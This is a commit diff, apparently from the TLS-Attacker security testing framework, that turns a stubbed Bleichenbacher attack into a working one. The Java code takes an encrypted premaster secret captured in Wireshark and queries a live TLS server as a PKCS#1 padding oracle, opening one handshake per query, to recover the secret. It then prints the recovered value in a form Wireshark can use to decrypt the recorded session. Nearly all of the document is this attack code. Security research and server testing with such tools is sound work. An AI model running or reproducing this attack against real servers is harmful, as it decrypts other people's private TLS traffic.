Skip to content

Commit 483000b

Browse files
Full attack, temporary
1 parent 91da459 commit 483000b

File tree

6 files changed

+179
-67
lines changed

6 files changed

+179
-67
lines changed

Attacks/src/main/java/de/rub/nds/tlsattacker/attacks/config/BleichenbacherCommandConfig.java

Lines changed: 29 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@
1010

1111
import com.beust.jcommander.Parameter;
1212
import com.beust.jcommander.ParametersDelegate;
13+
import de.rub.nds.tlsattacker.attacks.config.delegate.AttackDelegate;
1314
import de.rub.nds.tlsattacker.core.config.Config;
1415
import de.rub.nds.tlsattacker.core.config.delegate.CiphersuiteDelegate;
1516
import de.rub.nds.tlsattacker.core.config.delegate.ClientDelegate;
@@ -36,6 +37,18 @@ public class BleichenbacherCommandConfig extends AttackConfig {
3637
private CiphersuiteDelegate ciphersuiteDelegate;
3738
@ParametersDelegate
3839
private ProtocolVersionDelegate protocolVersionDelegate;
40+
@ParametersDelegate
41+
private AttackDelegate attackDelegate;
42+
@Parameter(names = "-valid_response", description = "Bleichenbacher oracle responds with true if the last server "
43+
+ "message contains this string")
44+
private String validResponseContent;
45+
@Parameter(names = "-invalid_response", description = "Bleichenbacher oracle responds with false if the last server "
46+
+ "message contains this string")
47+
private String invalidResponseContent;
48+
@Parameter(names = "-encrypted_premaster_secret", description = "Encrypted premaster secret from the RSA client key "
49+
+ "exchange message. You can retrieve this message from the Wireshark traffic. Find the client key exchange "
50+
+ "message, right click on the \"EncryptedPremaster\" value and copy this value as a Hex Stream.")
51+
private String encryptedPremasterSecret;
3952

4053
@Parameter(names = "-type", description = "Type of the Bleichenbacher Test results in a different number of server test quries")
4154
private Type type = Type.FAST;
@@ -46,10 +59,12 @@ public BleichenbacherCommandConfig(GeneralDelegate delegate) {
4659
hostnameExtensionDelegate = new HostnameExtensionDelegate();
4760
ciphersuiteDelegate = new CiphersuiteDelegate();
4861
protocolVersionDelegate = new ProtocolVersionDelegate();
62+
attackDelegate = new AttackDelegate();
4963
addDelegate(clientDelegate);
5064
addDelegate(hostnameExtensionDelegate);
5165
addDelegate(ciphersuiteDelegate);
5266
addDelegate(protocolVersionDelegate);
67+
addDelegate(attackDelegate);
5368
}
5469

5570
public Type getType() {
@@ -79,12 +94,25 @@ public Config createConfig() {
7994

8095
@Override
8196
public boolean isExecuteAttack() {
82-
return false;
97+
return attackDelegate.isExecuteAttack();
8398
}
8499

85100
public enum Type {
86101

87102
FULL,
88103
FAST
89104
}
105+
106+
public String getValidResponseContent() {
107+
return validResponseContent;
108+
}
109+
110+
public String getInvalidResponseContent() {
111+
return invalidResponseContent;
112+
}
113+
114+
public String getEncryptedPremasterSecret() {
115+
return encryptedPremasterSecret;
116+
}
117+
90118
}

Attacks/src/main/java/de/rub/nds/tlsattacker/attacks/impl/BleichenbacherAttacker.java

Lines changed: 50 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -12,12 +12,16 @@
1212
import de.rub.nds.modifiablevariable.bytearray.ModifiableByteArray;
1313
import de.rub.nds.modifiablevariable.util.ArrayConverter;
1414
import de.rub.nds.tlsattacker.attacks.config.BleichenbacherCommandConfig;
15+
import de.rub.nds.tlsattacker.attacks.pkcs1.Bleichenbacher;
16+
import de.rub.nds.tlsattacker.attacks.pkcs1.Manger;
1517
import de.rub.nds.tlsattacker.attacks.pkcs1.PKCS1VectorGenerator;
18+
import de.rub.nds.tlsattacker.attacks.pkcs1.oracles.RealDirectMessagePkcs1Oracle;
1619
import de.rub.nds.tlsattacker.core.config.Config;
1720
import de.rub.nds.tlsattacker.core.constants.AlertDescription;
1821
import de.rub.nds.tlsattacker.core.constants.AlertLevel;
1922
import de.rub.nds.tlsattacker.core.constants.HandshakeMessageType;
2023
import de.rub.nds.tlsattacker.core.constants.ProtocolMessageType;
24+
import de.rub.nds.tlsattacker.core.exceptions.ConfigurationException;
2125
import de.rub.nds.tlsattacker.core.protocol.message.AlertMessage;
2226
import de.rub.nds.tlsattacker.core.protocol.message.ProtocolMessage;
2327
import de.rub.nds.tlsattacker.core.protocol.message.RSAClientKeyExchangeMessage;
@@ -29,7 +33,9 @@
2933
import de.rub.nds.tlsattacker.core.workflow.WorkflowTrace;
3034
import de.rub.nds.tlsattacker.core.workflow.WorkflowTraceUtil;
3135
import de.rub.nds.tlsattacker.core.workflow.factory.WorkflowTraceType;
36+
import java.math.BigInteger;
3237
import java.security.interfaces.RSAPublicKey;
38+
import java.util.Arrays;
3339
import java.util.HashSet;
3440
import java.util.LinkedList;
3541
import java.util.List;
@@ -53,14 +59,56 @@ public BleichenbacherAttacker(BleichenbacherCommandConfig config) {
5359

5460
@Override
5561
public void executeAttack() {
56-
throw new UnsupportedOperationException("Not implemented yet");
62+
if (config.getInvalidResponseContent() == null && config.getValidResponseContent() == null) {
63+
throw new ConfigurationException("You have to set a string contained in the last "
64+
+ "protocol message sent by the server which will indicate whether the PKCS#1 "
65+
+ "message was valid or not. For example, you can set the following parameter: "
66+
+ "-invalid_response BAD_RECORD_MAC");
67+
}
68+
RSAPublicKey publicKey;
69+
Config tlsConfig = config.createConfig();
70+
publicKey = (RSAPublicKey) CertificateFetcher.fetchServerPublicKey(tlsConfig);
71+
if (publicKey == null) {
72+
LOGGER.info("Could not retrieve PublicKey from Server - is the Server running?");
73+
return;
74+
}
75+
LOGGER.info("Fetched the following server public key: " + publicKey);
76+
77+
if (config.getEncryptedPremasterSecret() == null) {
78+
throw new ConfigurationException("You have to set the encrypted premaster secret you are "
79+
+ "going to decrypt");
80+
}
81+
82+
byte[] pms = ArrayConverter.hexStringToByteArray(config.getEncryptedPremasterSecret());
83+
if ((pms.length * 8) != publicKey.getModulus().bitLength()) {
84+
throw new ConfigurationException("The length of the encrypted premaster secret you have "
85+
+ "is not equal to the server public key length. Have you selected the correct " + "value?");
86+
}
87+
88+
RealDirectMessagePkcs1Oracle oracle = new RealDirectMessagePkcs1Oracle(publicKey, tlsConfig,
89+
config.getValidResponseContent(), config.getInvalidResponseContent());
90+
91+
Bleichenbacher attacker = new Bleichenbacher(pms, oracle, true);
92+
attacker.attack();
93+
BigInteger solution = attacker.getSolution();
94+
95+
LOGGER.info("Final solution: {}", solution.toString(16));
96+
97+
byte[] pmsResult = solution.toByteArray();
98+
pmsResult = Arrays.copyOfRange(pmsResult, pmsResult.length - 46, pmsResult.length);
99+
String pmsResultString = ArrayConverter.bytesToHexString(pmsResult, false).replace(" ", "");
100+
101+
LOGGER.info("If you have a TLS wireshark trace, you can decrypt it as follows. "
102+
+ "Create a file with the following content and use it as an input into "
103+
+ "wireshark:\n CLIENT_RANDOM <client random> {}", pmsResultString);
104+
57105
}
58106

59107
private ProtocolMessage executeTlsFlow(byte[] encryptedPMS) {
60108
// we are initializing a new connection in every loop step, since most
61109
// of the known servers close the connection after an invalid handshake
62110
State state = new State(config.createConfig());
63-
state.getConfig().setWorkflowTraceType(WorkflowTraceType.FULL);
111+
state.getConfig().setWorkflowTraceType(WorkflowTraceType.HANDSHAKE);
64112
WorkflowExecutor workflowExecutor = WorkflowExecutorFactory.createWorkflowExecutor(state.getConfig()
65113
.getWorkflowExecutorType(), state);
66114
WorkflowTrace trace = state.getWorkflowTrace();

Attacks/src/main/java/de/rub/nds/tlsattacker/attacks/pkcs1/Bleichenbacher.java

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -46,7 +46,9 @@ public void attack() throws OracleException {
4646

4747
LOGGER.debug("Step 1: Blinding");
4848
if (this.msgIsPKCS) {
49-
LOGGER.debug("Step skipped --> " + "Message is considered as PKCS compliant.");
49+
LOGGER.info("Step skipped --> " + "Message is considered as PKCS compliant.");
50+
LOGGER.info("Testing the validity of the original message");
51+
oracle.checkPKCSConformity(encryptedMsg);
5052
s0 = BigInteger.ONE;
5153
c0 = new BigInteger(1, encryptedMsg);
5254
m = new Interval[] { new Interval(BigInteger.valueOf(2).multiply(bigB),
@@ -58,17 +60,17 @@ public void attack() throws OracleException {
5860
i++;
5961

6062
while (!solutionFound) {
61-
LOGGER.debug("Step 2: Searching for PKCS conforming messages.");
63+
LOGGER.info("Step 2: Searching for PKCS conforming messages.");
6264
stepTwo(i);
6365

64-
LOGGER.debug("Step 3: Narrowing the set of solutions.");
66+
LOGGER.info("Step 3: Narrowing the set of solutions.");
6567
stepThree(i);
6668

67-
LOGGER.debug("Step 4: Computing the solution.");
69+
LOGGER.info("Step 4: Computing the solution.");
6870
solutionFound = stepFour(i);
6971
i++;
7072

71-
LOGGER.debug("// Total # of queries so far: {}", oracle.getNumberOfQueries());
73+
LOGGER.info("// Total # of queries so far: {}", oracle.getNumberOfQueries());
7274
}
7375
}
7476

Attacks/src/main/java/de/rub/nds/tlsattacker/attacks/pkcs1/oracles/RealDirectMessagePkcs1Oracle.java

Lines changed: 45 additions & 56 deletions
Original file line numberDiff line numberDiff line change
@@ -11,31 +11,19 @@
1111
import de.rub.nds.modifiablevariable.bytearray.ByteArrayModificationFactory;
1212
import de.rub.nds.modifiablevariable.bytearray.ModifiableByteArray;
1313
import de.rub.nds.tlsattacker.core.config.Config;
14+
import de.rub.nds.tlsattacker.core.constants.HandshakeMessageType;
1415
import de.rub.nds.tlsattacker.core.exceptions.WorkflowExecutionException;
15-
import de.rub.nds.tlsattacker.core.protocol.message.AlertMessage;
16-
import de.rub.nds.tlsattacker.core.protocol.message.CertificateMessage;
17-
import de.rub.nds.tlsattacker.core.protocol.message.ChangeCipherSpecMessage;
1816
import de.rub.nds.tlsattacker.core.protocol.message.ProtocolMessage;
1917
import de.rub.nds.tlsattacker.core.protocol.message.RSAClientKeyExchangeMessage;
20-
import de.rub.nds.tlsattacker.core.protocol.message.ServerHelloDoneMessage;
21-
import de.rub.nds.tlsattacker.core.protocol.message.ServerHelloMessage;
2218
import de.rub.nds.tlsattacker.core.state.State;
23-
import de.rub.nds.tlsattacker.core.state.TlsContext;
2419
import de.rub.nds.tlsattacker.core.workflow.WorkflowExecutor;
2520
import de.rub.nds.tlsattacker.core.workflow.WorkflowExecutorFactory;
26-
import de.rub.nds.tlsattacker.core.workflow.action.ReceiveAction;
27-
import de.rub.nds.tlsattacker.core.workflow.action.SendAction;
21+
import de.rub.nds.tlsattacker.core.workflow.WorkflowTrace;
22+
import de.rub.nds.tlsattacker.core.workflow.WorkflowTraceUtil;
2823
import de.rub.nds.tlsattacker.core.workflow.factory.WorkflowTraceType;
2924
import de.rub.nds.tlsattacker.util.MathHelper;
3025
import java.security.PublicKey;
3126
import java.security.interfaces.RSAPublicKey;
32-
import java.util.LinkedList;
33-
import java.util.List;
34-
import org.apache.logging.log4j.Level;
35-
import org.apache.logging.log4j.LogManager;
36-
import org.apache.logging.log4j.core.LoggerContext;
37-
import org.apache.logging.log4j.core.config.Configuration;
38-
import org.apache.logging.log4j.core.config.LoggerConfig;
3927

4028
/**
4129
*
@@ -45,65 +33,66 @@ public class RealDirectMessagePkcs1Oracle extends Pkcs1Oracle {
4533

4634
Config config;
4735

48-
public RealDirectMessagePkcs1Oracle(PublicKey pubKey, Config config) {
36+
private final String validResponseContent;
37+
38+
private final String invalidResponseContent;
39+
40+
public RealDirectMessagePkcs1Oracle(PublicKey pubKey, Config config, String validResponseContent,
41+
String invalidResponseContent) {
4942
this.publicKey = (RSAPublicKey) pubKey;
5043
this.blockSize = MathHelper.intceildiv(publicKey.getModulus().bitLength(), 8);
5144
this.config = config;
52-
this.config.setWorkflowTraceType(WorkflowTraceType.HELLO);
45+
this.validResponseContent = validResponseContent;
46+
this.invalidResponseContent = invalidResponseContent;
5347

54-
LoggerContext ctx = (LoggerContext) LogManager.getContext(false);
55-
Configuration ctxConfig = ctx.getConfiguration();
56-
LoggerConfig loggerConfig = ctxConfig.getLoggerConfig(LogManager.ROOT_LOGGER_NAME);
57-
loggerConfig.setLevel(Level.INFO);
58-
ctx.updateLoggers();
48+
// LoggerContext ctx = (LoggerContext) LogManager.getContext(false);
49+
// Configuration ctxConfig = ctx.getConfiguration();
50+
// LoggerConfig loggerConfig =
51+
// ctxConfig.getLoggerConfig(LogManager.ROOT_LOGGER_NAME);
52+
// loggerConfig.setLevel(Level.INFO);
53+
// ctx.updateLoggers();
5954
}
6055

6156
@Override
6257
public boolean checkPKCSConformity(final byte[] msg) {
63-
58+
// we are initializing a new connection in every loop step, since most
59+
// of the known servers close the connection after an invalid handshake
6460
State state = new State(config);
65-
TlsContext tlsContext = state.getTlsContext();
66-
WorkflowExecutor workflowExecutor = WorkflowExecutorFactory.createWorkflowExecutor(
67-
config.getWorkflowExecutorType(), state);
68-
69-
List<ProtocolMessage> protocolMessages = new LinkedList<>();
70-
protocolMessages.add(new ServerHelloMessage(config));
71-
protocolMessages.add(new CertificateMessage(config));
72-
protocolMessages.add(new ServerHelloDoneMessage(config));
73-
state.getWorkflowTrace().addTlsAction(new ReceiveAction(protocolMessages));
74-
protocolMessages = new LinkedList<>();
75-
RSAClientKeyExchangeMessage cke = new RSAClientKeyExchangeMessage(config);
76-
protocolMessages.add(cke);
77-
protocolMessages.add(new ChangeCipherSpecMessage(config));
78-
state.getWorkflowTrace().addTlsAction(new SendAction(protocolMessages));
61+
state.getConfig().setWorkflowTraceType(WorkflowTraceType.FULL);
62+
WorkflowExecutor workflowExecutor = WorkflowExecutorFactory.createWorkflowExecutor(state.getConfig()
63+
.getWorkflowExecutorType(), state);
64+
WorkflowTrace trace = state.getWorkflowTrace();
7965

80-
protocolMessages = new LinkedList<>();
81-
protocolMessages.add(new AlertMessage(config));
82-
state.getWorkflowTrace().addTlsAction(new ReceiveAction(protocolMessages));
83-
84-
ModifiableByteArray pms = new ModifiableByteArray();
85-
pms.setModification(ByteArrayModificationFactory.explicitValue(msg));
86-
cke.setPublicKey(pms);
87-
88-
if (numberOfQueries % 100 == 0) {
89-
LOGGER.debug("Number of queries so far: {}", numberOfQueries);
66+
RSAClientKeyExchangeMessage cke = (RSAClientKeyExchangeMessage) WorkflowTraceUtil.getFirstSendMessage(
67+
HandshakeMessageType.CLIENT_KEY_EXCHANGE, trace);
68+
ModifiableByteArray epms = new ModifiableByteArray();
69+
epms.setModification(ByteArrayModificationFactory.explicitValue(msg));
70+
cke.setPublicKey(epms);
71+
72+
numberOfQueries++;
73+
if (numberOfQueries % 1000 == 0) {
74+
LOGGER.info("Number of queries so far: {}", numberOfQueries);
9075
}
9176

92-
boolean valid = true;
77+
boolean conform = false;
9378
try {
9479
workflowExecutor.executeWorkflow();
80+
ProtocolMessage lastMessage = WorkflowTraceUtil.getLastReceivedMessage(trace);
81+
if (lastMessage != null) {
82+
String lastMessageLower = lastMessage.toString().toLowerCase();
83+
if (validResponseContent != null) {
84+
conform = lastMessageLower.contains(validResponseContent.toLowerCase());
85+
} else if (invalidResponseContent != null) {
86+
conform = !lastMessageLower.contains(invalidResponseContent.toLowerCase());
87+
}
88+
}
9589
} catch (WorkflowExecutionException e) {
9690
// TODO implementing the orcale through caught exceptions is not
9791
// smart
98-
valid = false;
99-
e.printStackTrace();
100-
} finally {
101-
numberOfQueries++;
102-
}
103-
if (tlsContext.isReceivedFatalAlert()) {
104-
valid = false;
92+
conform = false;
93+
LOGGER.info(e.getLocalizedMessage(), e);
10594
}
10695

107-
return valid;
96+
return conform;
10897
}
10998
}

0 commit comments

Comments
 (0)